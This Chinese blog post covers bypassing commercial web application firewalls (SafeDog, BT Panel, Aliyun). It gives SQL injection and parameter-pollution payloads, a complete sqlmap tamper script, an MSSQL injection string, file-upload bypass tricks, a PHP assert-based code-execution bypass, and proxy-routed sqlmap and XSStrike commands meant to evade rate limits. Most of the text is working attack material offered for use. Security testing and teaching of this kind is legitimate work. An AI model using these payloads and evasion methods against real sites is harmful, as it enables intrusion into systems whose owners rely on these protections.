WAF攻防漏洞利用HPP污染&分块传输&垃圾数据
Posted 遗憾zzz
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了WAF攻防漏洞利用HPP污染&分块传输&垃圾数据相关的知识,希望对你有一定的参考价值。
一、安全狗-SQL注入&文件上传绕过
SQL注入绕过参考:https://www.cnblogs.com/cute-puli/p/11146625.html
将mysql注入函数分为几类
拆分字符串函数:mid、left、lpad等
编码函数:ord、hex、ascii等
运算函数:+ - * / & ^ ! like rlike reg等
空格替换部分:09、0a、0b、0c、0d等
关键数据函数:user()、version()、database()等
然后将这些不同类型的函数组合拼接在一起
1.关键字替换
http://192.168.0.100:8081/sqlilabs/Less-2/?id=1 like 1
http://192.168.0.100:8081/sqlilabs/Less-2/?id=1 like 12
2.更换提交方式
POST id=-1 union select 1,2,3–+
3.模拟文件上传
伪造上传请求数据包绕waf传递数据
3.分块传输
原理参考:https://www.cnblogs.com/backlion/p/10569976.html
插件项目地址:https://github.com/c0ny1/chunked-coding-converter
4.HPP参数污染
于是可以构造参数 id=1/**&id=-1 union select 1,2,3#*/
这里数据接收的: -1 union select 1,2,3#*/
安全狗接受的 1/*-1 union select 1,2,3#*/
相当于注释成功的绕过了安全狗
rdog绕过脚本
#!/usr/bin/env python2
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Replaces space character (' ') with comments '/**/'
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
Notes:
* Useful to bypass weak and bespoke web application firewalls
>>> tamper('SELECT id FROM users')
'SELECT/**/id/**/FROM/**/users'
"""
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += "/**/"
continue
elif payload[i] == '\\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == " " and not doublequote and not quote:
retVal += "/*Eor*/"
continue
retVal += payload[i]
return retVal
补充一个msssql注入绕过云锁以及一些waf
sql语句: %1eoR%1e1=@@version%1e--
文件上传上传绕过
Content-Disposition:一般可更改
name:表单参数值,不能更改
filename:文件名,可以更改
Content-Type:文件MIME,视情况更改
1.去掉双引号绕过
2.=符号干扰
3.换行解析绕过
字节流可能就是 p 0a 0d h 0a 0d p来绕过
4.垃圾字符溢出
为的就是干扰waf
5.参数模拟
二、BT&Aliyun-文件包含&代码执行绕过
文件包含绕过
…\\ …/ …\\等
参考:http://www.javashuo.com/article/p-dnnvgccx-ms.html
https://blog.csdn.net/heiseweiye/article/details/82774710
代码执行绕过
$y=str_replace('x','','pxhpxinxfo()');assert($y);
把x去空,然后赋值给变量y=phpinfo(),接着就会执行代码
三、BT&Aliyun-SQL注入&文件上传绕过
sql注入绕过-直接上代理
python sqlmap.py -u “www.xxx.com/?id=1” --random-agent --tamper=rdog.py --proxy=“http://tww.xxx.com:15818”
文件上传-格式替换
比如上传phtml、php5、php4等
四、BT&Aliyun-XSS绕过&宝塔tips
利用XSStrike绕过 加上–timeout或–proxy配合代理池绕过cc&Fuzz
xsstrike项目:https://github.com/s0md3v/XSStrike
python xsstrike.py -u “http://www.xxx.com” --proxy
宝塔tips: 在不断的构造xss语句对网站发起请求攻击时,宝塔会拦截这些xss语句这样就触发了xss,于是就可以通过xss平台来进行构造攻击
五、绕过总结
安全狗:
注入 xss 文件上传拦截
rce 文件包含 等其他不拦截
宝塔:
注入 上传拦截
rce 文件包含 xss等其他不拦截
其中拦截的是关键字
aliyun
拦截的CC速度 和 后门 信息收集和权限维持阶段拦截
漏洞利用 他不拦截 默认的版本(升级版本没测试)
WAF java不支持
以上是关于WAF攻防漏洞利用HPP污染&分块传输&垃圾数据的主要内容,如果未能解决你的问题,请参考以下文章